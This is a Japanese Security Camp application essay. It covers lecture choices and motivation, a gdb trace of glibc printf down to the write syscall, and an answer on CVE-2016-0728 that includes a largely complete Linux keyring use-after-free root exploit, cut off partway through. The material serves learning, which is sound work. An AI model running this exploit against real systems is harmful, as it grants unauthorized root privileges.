カーネルのエクスプロイトに興味を持つ理由として、私が中学生-高校生の時にSonyの携帯ゲーム機であるPSPのカスタムファームウェアの導入に関するハックなどの情報が一般の(ここでいう一般とは、プログラムやコンピュータについて学んだことのない学生のことです)私たちまで簡単に入手出来る状況にあり、ゲームやPCに触る機会が多かった私には、デバイスやプログラムのハックに対して関心を持つきっかけがたくさんあったことが大きくあります。私はその時はカスタムファームウェアを試さなかったのですが、実際に大学2年生の時に高専出身の先輩が家電などを改造した話を聞いたり、リバースエンジニアリング系の掲示板で色々なゲームやデバイスをハックしているのを見ながら、自分もやってみたいという気持ちがとても強くなりました。それを受けて大学3年の時からコンピュータの仕組みやOSの勉強を始めました。最近でもNintendoSwitchのwebkitを使ったexpliotや、その前の2016年の夏にiOS9.3.4から9.3.5にアップデートの要因となったiOS PEGASUSなど、そこで使われている手法にはカーネルの知識が必要であり、そのきっかけとしてカーネルエクスプロイトの講義を受講したいと考えました。

B4 Embedded System Reverse Engineering 101

組み込みのシステムについて、前述した先輩が家電などを改造していた話を聞いたり、リバースエンジニアリング系の掲示板などで分析している記事を読んだりするうちに組み込みのリバースエンジニアリングにも興味を持ちました。また、ファームウェアや電子回路のことなど、調べてみたことがあったのですが情報が少ない場合が多く、挫折した経験がありました。この講義で実際に組み込みのリバースエンジニアリングの技術について学び、自分でも実践するきっかけにしたいと思っています。

D5 The Anatomy of Malware

マルウェア解析に興味があり、この講義を選択しました。マルウェアの解析にも興味がありプログラムの解析を勉強しました。今回のPEの解析の課題も、実際にwindowsマルウェアの解析などの理解に役立てたいと思い選択しました。また、自宅のラズベリーパイでハニーポットのCowrieを運用しており、そこで取得した検体(バックドアや、XorDDosなど)を解析してみようとして思ったよりボリュームがあり断念したことがあるので、実際に効率的な静的解析の手法を学びたいと思っています。また、CTFなどでバイナリの逆アセンブル結果を読むことも多いので、それに役立つ部分があればいいなとも思います。

A6 ハードウェアセキュリティ最前線

今回受講しようと思っている講義の中で一つだけ暗号の講義です。現在、大学で離散数学と暗号理論の講義を受講していて、まだ今は代数と簡単な暗号の知識しかないのですが、暗号についてもっと学びたい、と興味を持ったことがきっかけです。それまでは大学の講義では主に理論をメインで勉強しているので、暗号は理論の面が強くて実装がイメージできていなかったので、暗号回路の設計について学べるというのが魅力だと思いました。実際に暗号解読をやってみることで、それまでに講義で学んだことの理解をより深めたいと考えています。デジタルオシロスコープを用いて暗号解読するというのもやったことがないので、とても楽しみです。

B7 組込みリアルタイムOSとIoTシステム演習

IoTデバイスは、私たち学生でも比較的安価に入手できるものが多いです。組込みシステムのアーキテクチャ全体を学べるとのことで、低レイヤの世界を体験したいと思っています。また、オープンソースを使っていてセキュリティキャンプ終了後にも学べるというのがとても魅力的です。自作したIoTデバイスなどに移植して遊んでみたいと思っています。また、カーネルの話にもつながるのですが、いろいろなOSについてその実装を学びたいと考えていることもこの講義を選択した理由です。


3-2

共-3(2).あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可)自由に答えてください。


初めにセキュリティキャンプについて知ったのは去年の夏の初めで、情報セキュリティの勉強をしている時でした。私がセキュリティキャンプでやりたいこと、身に付けたいことは大きく2つあります。

1つ目は純粋にもっと情報セキュリティについて勉強したいという思いがあります。私がそもそもセキュリティの分野を学びたいと思ったのは、アルバイト先の先輩がセキュリティの研究室に所属していて、その分野を知り、ハッカーって格好いいなと興味を持ったことがきっかけでした。ここでいうハッカーとは、好奇心旺盛で、コンピュータやプログラムについて精通していて、物事の表層だけではなく、その内部の仕組みに興味を持ち実際に手を動かして仮説、検証ができる人のことです。もともと、プログラムの仕組みやコンピュータの仕組みに興味はあったのですが、どう勉強すれば良いのかわからず何も勉強できていませんでした。大学2年次の頃までは特別に作りたいものもなく、プログラミングの力を身に付けたいと思い競技プログラミングに挑戦したり、簡単な身の回りのツールを作成したりしていたのですが、情報セキュリティという分野を知り急に学びたい、やってみたい、作ってみたいと思うことが増えました。特に低レイヤーにずっと興味があったことも関係していると思います。実際にコンピュータやプログラムの仕組みについて本で勉強したり、プログラムを解析したり、CTFなどでエクスプロイトを書いたりする中で、コンピュータやプログラムの仕組みが分かってきたこともたくさんありましたが、それ以上にわからないことがたくさんありました。未知のことが楽しいというのは情報セキュリティを勉強し始めて初めて経験したのですが、たくさん調べて仮説を立てて、検証して、自分の思い通りにプログラムが動いたり、その仕組みについて知ることができると、とても興奮してもっとやりたい、もっと知りたいという気持ちになりました。今回のキャンプの講義を見て、リバースエンジニアリング系の講義がたくさんあることを知り、これまで知らなかった、自分だけだと挑戦するのにもう少し勇気が必要だったことを学ぶきっかけにしたいと思っています。今回の課題でもより深い、新しいことに挑戦する中で、これまで自分だけだとまだ早いかな、と感じていたことも、1か月手を動かしてみてたくさん調べたり、実装して検証してみたりすることがあり、多くのチャレンジの機会になりました。今となってはわからないことを学ぶことが不安ではなく、より多くのことを学んで、新しくわからないことを見つけるためのステップとして捉えているように思います。そういった経験をキャンプでよりたくさん経て、自分により大きな負荷をかけてやることにより、より深く、新しく、面白い知識や技術を得るきっかけにしたいと思っています。

2つ目はセキュリティキャンプのコミュニティについてです。私の学科は物理系で情報セキュリティを勉強している同期がいないため、どうしてもTwitterなどのオンライン上でしか情報セキュリティを学んでいる学生と知り合える機会がありません。去年の夏、CODE BLUEという情報セキュリティの国際カンファレンスに学生スタッフとして参画した際に、そこであった先輩や同期、後輩にとても刺激を受けたと同時に、セキュリティキャンプの修了生が多くいることを知り、セキュリティキャンプのコミュニティにとても魅力を感じました。ネット上などで関心がある学生は見つかるのですが、一度対面であった方が仲間意識というか、ライバル精神のようなものが芽生えやすいのではないかと思っています。実際に私はCODE BLUEやその後に開かれたAV TOKYOなどで出会った先輩や同期、後輩の学生が情報セキュリティをはじめ、情報セキュリティには止まらずに様々な分野で活動しているのを見ながら、とても多くの刺激をもらっています。最近だとGSoCに参加している同期や後輩、海外のセキュリティチームと対等に研究をしている同期、社会に出て様々なところで活躍している先輩などを見ていると、自分はまだまだ知らないことがたくさんあり、もっと勉強しないといけないし負けていられないと思います。今回、セキュリティキャンプに参加することで、そこで出会う学生たちとよりお互いに刺激を与えあえる関係になりたいと思っています。 1つ目は純粋にもっと情報セキュリティについて勉強したいという思いがあります。私がそもそもセキュリティの分野を学びたいと思ったのは、アルバイト先の先輩がセキュリティの研究室に所属していて、その分野を知り、ハッカーって格好いいなと興味を持ったことがきっかけでした。ここでいうハッカーとは、好奇心旺盛で、コンピュータやプログラムについて精通していて、物事の表層だけではなく、その内部の仕組みに興味を持ち実際に手を動かして仮説、検証ができる人のことです。もともと、プログラムの仕組みやコンピュータの仕組みに興味はあったのですが、どう勉強すれば良いのかわからず何も勉強できていませんでした。大学2年次の頃までは特別に作りたいものもなく、プログラミングの力を身に付けたいと思い競技プログラミングに挑戦したり、簡単な身の回りのツールを作成したりしていたのですが、情報セキュリティという分野を知り急に学びたい、やってみたい、作ってみたいと思うことが増えました。特に低レイヤーにずっと興味があったことも関係していると思います。実際にコンピュータやプログラムの仕組みについて本で勉強したり、プログラムを解析したり、CTFなどでエクスプロイトを書いたりする中で、コンピュータやプログラムの仕組みが分かってきたこともたくさんありましたが、それ以上にわからないことがたくさんありました。未知のことが楽しいというのは情報セキュリティを勉強し始めて初めて経験したのですが、たくさん調べて仮説を立てて、検証して、自分の思い通りにプログラムが動いたり、その仕組みについて知ることができると、とても興奮してもっとやりたい、もっと知りたいという気持ちになりました。今回のキャンプの講義を見て、リバースエンジニアリング系の講義がたくさんあることを知り、これまで知らなかった、自分だけだと挑戦するのにもう少し勇気が必要だったことを学ぶきっかけにしたいと思っています。今回の課題でもより深い、新しいことに挑戦する中で、これまで自分だけだとまだ早いかな、と感じていたことも、1か月手を動かしてみてたくさん調べたり、実装して検証してみたりすることがあり、多くのチャレンジの機会になりました。今となってはわからないことを学ぶことが不安ではなく、より多くのことを学んで、新しくわからないことを見つけるためのステップと。そういった経験をキャンプでよりたくさん経て、自分により大きな負荷をかけてやることにより、より深く、新しく、面白い知識や技術を得るきっかけにしたいと思っています。

a_4

選-A-4. C言語のprintf()関数について C言語のprintf()関数またはUNIXのfork()というシステムコールについて、これらはどのようなものですか? 数値や文字列を表示する・プロセスを作るというだけではなく、深堀りして考え、疑問を持ち、手を動かして調べてわかったことを教えてください。


printf関数について調べたことを述べます。実行環境は以下のとおりです。

$ uname -r
3.19.0-80-generic
$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4

一般的に、printf文は次のような形式で書けます。

printf(const char *format, ...); 

まず、以下のようなプログラムを作成し、コンパイルして実行し、main関数の逆アセンブル結果をobjdumpで見てみました。

$ cat helloworld.c
#include <stdio.h>

int main(int argc, char *argv[]){
  printf("Hello, World!\n");
  return 0;
}
$ gcc -m32 helloworld.c -o helloworld -O0 -g -Wall
$ ./helloworld 
Hello, World!
$ objdump -M intel -d helloworld --no-show-raw-insn | grep '<main>' -A13
0804841d <main>:
 804841d:	push   ebp
 804841e:	mov    ebp,esp
 8048420:	and    esp,0xfffffff0
 8048423: sub    esp,0x10
 8048426:	mov    DWORD PTR [esp],0x80484d0
 804842d:	call   80482f0 <puts@plt>
 8048432:	mov    eax,0x0
 8048437:	leave  
 8048438:	ret    
 8048439:	xchg   ax,ax
 804843b:	xchg   ax,ax
 804843d:	xchg   ax,ax
 804843f:	nop

これを見て気になったのは、ソースコードではprintfを使って文字列の表示を行ったにも関わらず0x804842dで呼ばれているのはputs関数であるという点です.コンパイラの最適化によって文字列の末尾が"\n"で終わり、フォーマット指定子が存在しない時、printfはputsに置き換えられます。しかし、今回は最適化を無効にしたはずなので、putsが呼ばれていたことに驚きました。

次に、フォーマット指定子を用いたプログラムhelloargv0.cを実行してみます。

$ cat helloargv0.c 
#include <stdio.h>
int main(int argc, char *argv[]){
  printf("Hello, %s\n", argv[0]);
  return 0;
}
$ gcc -m32 helloargv0.c -o helloargv0 -O0 -g -Wall
$ ./helloargv0 
Hello, ./helloargv0

ところで、気になったのはprintfはいつ標準入出力に文字列を表示しているのか?ということです。そこで、helloargv0をgdbでデバッグします。

$ gdb -q helloargv0
$ disas main
Dump of assembler code for function main:
0x0804841d <+0>:	push   ebp
0x0804841e <+1>:	mov    ebp,esp
0x08048420 <+3>:	and    esp,0xfffffff0
0x08048423 <+6>:	sub    esp,0x10
0x08048426 <+9>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048429 <+12>:	mov    eax,DWORD PTR [eax]
0x0804842b <+14>:	mov    DWORD PTR [esp+0x4],eax
0x0804842f <+18>:	mov    DWORD PTR [esp],0x80484e0
0x08048436 <+25>:	call   0x80482f0 <printf@plt>
0x0804843b <+30>:	mov    eax,0x0
0x08048440 <+35>:	leave  
0x08048441 <+36>:	ret    
End of assembler dump.

0x8048436でprintf@plt関数が呼ばれています。これはPLT(Procedure Linkage Table)のアドレスです。コンパイル時に共有ライブラリを動的リンクした場合、その関数はGOT(Global Offset Table)と呼ばれるジャンプテーブルを介して呼び出されます。これを確認するために、printf@pltの逆アセンブリ結果を確認します。この中身について調べてみます。

$ disas 0x80482f0
Dump of assembler code for function printf@plt:
   0x080482f0 <+0>:	jmp    DWORD PTR ds:0x804a00c
   0x080482f6 <+6>:	push   0x0
   0x080482fb <+11>:	jmp    0x80482e0
End of assembler dump.

1行目を見ると、0x804a00cにジャンプしているのがわかります。ライブラリの関数アドレスを保存するGOT領域を探してみると、0x804a00cを見つけることができました。

$ readelf helloargv0 -r
Relocation section '.rel.plt' at offset 0x29c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf

これによって、ライブラリのアドレスを解決して、printfを実行しています。

次に、printfの中身を確認します。

$ disas printf
Dump of assembler code for function printf:
   0xf7e54410 <+0>:	push   ebx
   0xf7e54411 <+1>:	sub    esp,0x18
   0xf7e54414 <+4>:	call   0xf7f2fb2b
   0xf7e54419 <+9>:	add    ebx,0x15ebe7
   0xf7e5441f <+15>:	lea    eax,[esp+0x24]
   0xf7e54423 <+19>:	mov    DWORD PTR [esp+0x8],eax
   0xf7e54427 <+23>:	mov    eax,DWORD PTR [esp+0x20]
   0xf7e5442b <+27>:	mov    DWORD PTR [esp+0x4],eax
   0xf7e5442f <+31>:	mov    eax,DWORD PTR [ebx-0x70]
   0xf7e54435 <+37>:	mov    eax,DWORD PTR [eax]
   0xf7e54437 <+39>:	mov    DWORD PTR [esp],eax
   0xf7e5443a <+42>:	call   0xf7e4a810 <vfprintf>
   0xf7e5443f <+47>:	add    esp,0x18
   0xf7e54442 <+50>:	pop    ebx
   0xf7e54443 <+51>:	ret    
End of assembler dump.

call 0xf7f2fb2bとあるので、中に入ってみてみると、以下の2つの命令のみでした。

 0xf7f2fb2b:	mov    ebx,DWORD PTR [esp]
 0xf7f2fb2e:	ret

ebxにespに退避させられたリターンアドレスを保存してretしています。ret先の命令にはadd ebx, 0x15ebe7とあるので、何らかのオフセット値を利用していることがわかります。その後に続く命令で、ebxからオフセット0x70を引いたアドレスをvfprintfの引数として渡しています。この値が何か調べるために、0xf7fb3000の周辺がメモリマップ中でどこに位置しているのか調べ、この値がなんの値なのか調べてみました。

$ shell cat /proc/7451/maps
f7e07000-f7fb1000 r-xp 00000000 08:01 933878 /lib/i386-linux-gnu/libc-2.19.so
f7fb1000-f7fb3000 r--p 001aa000 08:01 933878 /lib/i386-linux-gnu/libc-2.19.so
f7fb3000-f7fb4000 rw-p 001ac000 08:01 933878 /lib/i386-linux-gnu/libc-2.19.so
$ p $ebx
$1 = 0xf7fb3000
$ p $ebx-0x70
$2 = 0xf7fb2f90
$ x/xw $2
f7fb2f90:	0xf7fb3d80
$ x/xw 0xf7fb3d80
0xf7fb3d80 <stdout>:	0xf7fb3ac0
$ x/xw 0xf7fb3ac0
0xf7fb3ac0 <_IO_2_1_stdout_>:	0xfbad2284

以上のことと、残り2つの引数が順に"Hello, %s\n"とargv[0]であることから、これをC言語風に書くとvfprintf(_IO_2_1_stdout_, "Hello, %s\n", argv[0]);と書けることがわかりました。それでは、次はvfprintf関数の中に入っていきます。

vfprintfでもまた0xf7f2fb2bが呼び出されていました。その後、先程と同様にebx値が加算されていたので見てみると、先程同様0xf7fb3000となっています。つまり、この0xf7f2fb2bを含む一連のステップによって、ebxにglibcのアドレスがロードされたアドレスが保存されることがわかります。

その後何度かレジスタに値を代入して判定を行った後、途中でジャンプする箇所がありました。そのジャンプした先の中ではstrchrnul("Hello, %s", 0x25)が呼ばれており、ASCII文字で0x25は"%"です。この関数は第一引数に第二引数が含まれればそのポインタが、もしなければ末尾のヌル文字のポインタを返します。つまり、これはフォーマット文字列中の最初に出てくるフォーマット記述子の位置を調べます。この処理については把握できたので先に進みます。処理を進めていくと、call DWORD PTR [eax+0x1c]という関数呼び出し命令がありました。

$ x/xw $eax+0xc
0xf7fb2abc:	0xf7e76270
$ x/wx 0xf7e76270
0xf7e76270 <_IO_file_xsputn>:	0x57c03155

_IO_file_xsputnの中でも先程同様libcのアドレスをレジスタに保存している処理があります。その直後にまた_IO_2_1_stdout_をediに保存しているので、文字列出力に関係する関数だと予想しました。

いくつかの処理の後、また"call DWORD PTR [eax+0xc]"という関数呼び出しが行われているので、そのポインタの中身を調べてみると、_IO_file_overflowという関数であることがわかりました。C言語風に書くと、_IO_file_overflow(_IO_2_1_stdout_, 0xffffffff);と書けます。

$ x/wx $eax+0xc
0xf7fb2aac:	0xf7e76f20
$ x/wx 0xf7e76f20
0xf7e76f20 <_IO_file_overflow>:	0x53565755

_IO_file_overflowの中に入って逆アセンブル結果を見ると、最初にスタックフレームの構築、libcのアドレスを求める処理、その後にいろいろな値のチェックとジャンプ系の命令が並んでいました。ステップ実行させていくと、2度のジャンプの後に_IO_doallocbufという関数が_IO_2_1_stdout_を引数として呼び出されていました。名前から、この関数はメモリ確保用の関数であるようなので飛ばして先に進みました。

その後何度かのジャンプの後、_IO_do_writeという関数が呼び出されていました。C言語風に書くと_IO_do_write(_IO_2_1_stdout_, *0xf7fd5000, 0);です。第二引数のポインタを調べてみたのですが、何のアドレスなのかわかりませんでした。メモリマップを見ても、その周辺にはデータが入っていないようです。ちなみに、"*"の記号は、ポインタという意味で使っています。

次は、_IO_do_writeの中に入って調べてみることにしましたが、特に何も起こらずにジャンプしてretしました。

結局、_IO_file_xsputnまで戻ってきました。_IO_default_xsputnという関数が呼び出されたので、今度はこの中に入ってみます。C言語風に書くと _IO_default_xsputn(_IO_2_1_stdout_, "Hello, %s\n", 0x7 )です。この内部でcall DWORD PTR [eax+0c]により関数呼び出しが行われていました。このアドレスを調べると、_IO_file_overflowであることがわかりました。

$ x/xw $eax+0xc
0xf7fb2aac:	0xf7e76f20
gdb-peda$ x/xw 0xf7e76f20
0xf7e76f20 <_IO_file_overflow>: 0x53565755

しかし、引数を見てみると、先程とはすこし違っていて、C言語風に書くと_IO_file_overflow(_IO_2_1_stdout_, 0x48 (b'H'))と書けます。関数の中に入ると、特に何も起こらずretしました。レジスタを見ると、esiにもとの文字列から最初の文字"H"が取り除かれた文字列が保存されています。

$ x/s $esi
0x80484e1:	"ello, %s\n"

そして、処理を進めると先程と同じ場所で_IO_file_overflow(_IO_2_1_stdout_, 'e');が呼び出されました。見ると、<_IO_default_xsputn+48>から<_IO_default_xsputn+156>にかけてループすることで文字列を1文字列ずつ読み込んでいるようです。同じ処理なので、処理を進めると、IO_default_xputnから戻ってきました。このとき、eaxには0x7が保存されており、そういえばこの数字0x07は、_IO_default_xsputn(_IO_2_1_stdout_, "Hello, %s\n", 0x7 )で引数として使われていました。また、"Hello, "の文字数は7文字です。つまり、_IO_default_xsputnは第一引数のファイル記述子に第三引数の文字数分書き込む関数だったことがわかり、また先程から引数に使われている_IO_2_1_stdout_は最後に出力したい文字列の配列ではないかと推測できます。その後は特に何も起こらず、_IO_file_xsputnも抜け出し、vfprinfまで帰ってきました。その後、正常に処理が完了したか文字数のチェックが行われ、その後、残った"%s\n"に対する処理が行われます。

まず、最初の"%"を無視した文字列を取り出してローカル変数に保存し、その次のフォーマット指定子の2文字目、つまり今回で言えば"s"の部分をeaxに格納します。その文字を大文字にしてedxに格納し、それと0x5a('Z')と比較することで、まずフォーマット指定子の文字の範囲内にあるかどうかをチェックします。これは後からglibc-2.19のソースを確認したのですが、たしかにvfprintf.cの中にフォーマット指定子のテーブルがあり,それをもとにフォーマット指定子に応じた処理をしていることがわかりました。

その後、arg[0]を先頭から順に読み込みます。このとき、以下の命令を使って、arg[0]の文字数を調べます。eaxは0に、ecxは0xffffffffに設定されているので、scas命令によってヌル文字とarg[0]の各文字を比較する処理がEFLAGSレジスタのZFフラグが更新されるまでrepnz命令によって繰り返され、その後にnot ecxすることで文字列終端のヌル文字を含む文字列の長さが得られます。

<vfprintf+18771>:	repnz scas al,BYTE PTR es:[edi]

後は"Hello, %s\n"のときと同様で、_IO_file_xsputn(_IO_2_1_stdout_, argv[0], strlen(argv[0]));が呼び出されます。ここで、strlenは使用していないのですが、ヌル文字を除く文字列の長さを表すのに書きました。

残った文字列"\n"に関しても、先程の"Hello %s\n"と同様に_IO_file_xsputnが呼び出されます。 strchrnulでフォーマット文字、もしくはヌル文字のポインタを取得します。その後、_IO_file_xsputn(_IO_2_1_stdout_, "\n", 1)が呼ばれます。再度_IO_file_xsputnの中に入ってみると、途中で見慣れない関数が呼び出されていました。0xfe83ae0という関数です。ポインタが何を指しているのか調べてみても名前がわからなかったので、中に入ってみることにしました。ここで、一度whereコマンドでどこまで入り込んでいるのか確認します。

$ where
#0  0xf7e83ae0 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0xf7e762d5 in _IO_file_xsputn () from /lib/i386-linux-gnu/libc.so.6
#2  0xf7e4ad82 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#3  0xf7e5443f in printf () from /lib/i386-linux-gnu/libc.so.6
#4  0x0804843b in main (argc=0x1, argv=0xffffd524) at helloargv0.c:5
#5  0xf7e20af3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#6  0x08048341 in _start ()

中に入ってみると、'\n'の1文字文だけ_IO_2_1_stdoutに書き込む関数でした。また_IO_file_xsputnに帰ってきました。これですべての文字列を読み込んだはずなので、後は出力するだけのはずです。

また_IO_file_overflow(_IO_2_1_stdout_, 0xffffffff)が呼ばれているので中に入ってみます。すると、_IO_do_write(_IO_2_1_stdout_, "Hello, (argv[0]の中身)\n", 0x3c)が呼ばれているので、中に入ってみます。ところで、出力されるはずの文字列の長さを調べてみると、改行文字を含めて0x3cであることがわかりました。これが文字列表示をしているところのようです。_IO_do_writeの中で、先程のcall 0cf7e83ae0が実行されています。これは先程は_IO_2_1_stdout_に引数の文字数文だけ書き込んでいました。今回は3bが引数になっています。この中に入って調べてみることにしました。今度は、call DWORD PTR [eax+0x3c]という命令が実行されています。先程は見なかった命令です。

$ x/wx $eax+0x3c
0xf7fb2adc:	0xf7e75cf0
$ x/xw 0xf7e75cf0
0xf7e75cf0 <_IO_file_write>:	0x83565755

引数とともに書くと、_IO_file_write(stdout, "Hello, (argv[0])\n", 0x3c)となります。更にこの関数の中で、write(1, "Hello, argv[0],\n", 0x3c)がよれています。更にこの中にも入っていきます。writeの内部ではcall DWORD PTR gs:0x10が呼ばれています。このgs:10はgsセグメントのオフセット10という意味ですが、ここには仮想システムコールという、システムコールを呼び出す関数である__kernel_vsyscallのアドレスがあります。システムコールはOSの機能呼び出しに使われる命令のことです。このことから、今呼ばれているのは__kernel_vsyscallであることがわかります。更に深掘っていくと、__kernel_vsyscallの内部でsysenterという命令が実行されています。引数として、32bitのLinux場合だとeaxはシステムコールの番号,ebxに第1引数,ecxに第2引数,edxに第3引数が渡されます。システムコール番号が4なので、今呼び出すシステムコールはwrite,writeシステムコールは引数が順にファイル記述子、バッファのアドレス、データサイズとなっており、標準入出力stdoutは1に対応しているので、ここで標準出力に出力されます。

$ ni
Hello, /home/ubuntu/Projects/AnalysingPrintf/src/helloargv0

a_5

選-A-5. CVE-2016-0728のカーネルエクスプロイト問題 以下のプログラムはLinuxカーネル3.8〜4.4に存在する脆弱性を悪用しています。このプログラムの実行により発生する不具合を説明してください。また、この脆弱性をさらに悪用することでroot権限昇格を行うエクスプロイトを記述し、自分が試した動作環境や工夫点等を説明してください。加えて、このような攻撃を緩和する対策手法をなるべく多く挙げ、それらを説明してください。 完全には分からなくても構いませんので、理解できたところまでの情報や試行の過程、感じた事等について自分の言葉で記述してください。また参考にしたサイトや文献があれば、それらの情報源を明記してください。

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

検証環境は以下のとおりです。

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

私はこの脆弱性をはじめて知ったのですが、調べてわかったこと、その過程で試してみたことについて記述します。最初に、このプログラムで使われている鍵保存サービスについて、そして今回のプログラムが悪用するUse-After-Free脆弱性とそれがプログラムの何が原因で起こっているのか説明し、それによってどういう不具合が生じるかについて述べます。今回の脆弱性はCVE-2016-0728として登録されており、その概要については、以下のサイトを参考にしました。

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

また、Linuxの鍵保存サービスについても初めて知ったものだったので、IBMのLinux鍵保存サービス入門のWebページ

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

と検証環境であるLinux kernel 3.19のソースコード

https://www.kernel.org/

カーネルメッセージをホストOSにネットワーク経由で送るのに

"DEBUG HACKS - デバッグを極めるテクニック&ツール"(O'REILLY)

を参考にしました。

与えられたプログラム(以下、これをleak.cと呼びます)はLinuxの鍵保存サービスに存在するバグを悪用していて、このバグによってUse-After-Free脆弱性に繋がっています。Use-After-Free脆弱性とは、プログラムの不整合によって、解放済のヒープメモリアドレが参照されてしまう場合に任意のコードが実行可能となるものです。まず、このプログラムが使用するシステムコールkeyctl()について説明し、そこにどのようなバグが存在するか記述します。

それぞれのプロセスはkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)というシステムコールによって現在のセッションのためのプロセス毎の鍵リングを作成することができます。この鍵リングはその名前nameを参照することによって、プロセス間で共有することができます。もしプロセスが既にセッション鍵リングを持っている場合、このシステムコールはセッション鍵リングを新しい鍵リングと置き換えます。ここの動作についてもっとよく知りたかったので、カーネルのソースコードの/security/keys/process_keys.cjoin_session_keyring関数を参照しました。それは以下のようなプログラムになっています。セッション鍵リングを新規のセッション鍵リングと置き換える際に、key_putという関数をスキップします。key_put関数は引数に与えられた鍵リングの参照を破棄する関数です。それをスキップすることによって、その新しい鍵リングへの参照が残っている状態になり、これがUse-After-Free脆弱性に繋がっています。

この鍵リングがプロセス間で共有されているとき、構造体keyのusageメンバに保存されている内部の参照回数が増加します。usageメンバはatomic_tという型ですが、これは実際にはint型変数一つを含む構造体として型定義されています。また、このusageメンバのオーバーフローを防ぐ機構がないため、このメンバを増加させていくことでオ−バーフローして0になるまで参照できます。usageメンバが0になった時、鍵リングのサブシステム内部でのガベージコレクションによって、その鍵リングは解放されます。この解放された領域にユーザー空間から別の任意の処理を行うカーネルモジュールを配置することにより、その処理をカーネルの権限で実行することができます。

leak.cをkeyutilsというライブラリをコンパイルして実行すると、/proc/keysにはleaked-keyringというセッション鍵リングが登録され、100回参照されます。参考にしたPerseptionPointのサイトではこのプログラムを実行する前後でleaked-keyringが以下のように変化することを確かめていました。

# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

しかし、検証環境ではleaked-keyringは表示されませんでした。試しに、forループの条件文をi < 0x1000000のように大きい数にして見てみると、プログラムの実行中にはleaked-keyringが表示されていました。今回はusageメンバをオーバーフローさせることでkeyを解放してそこに新しいカーネルオブジェクトを配置することで攻撃が成立します。そこで、実際に試してみることにしました。exploitコードは以下のサイトを参考にしました。

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

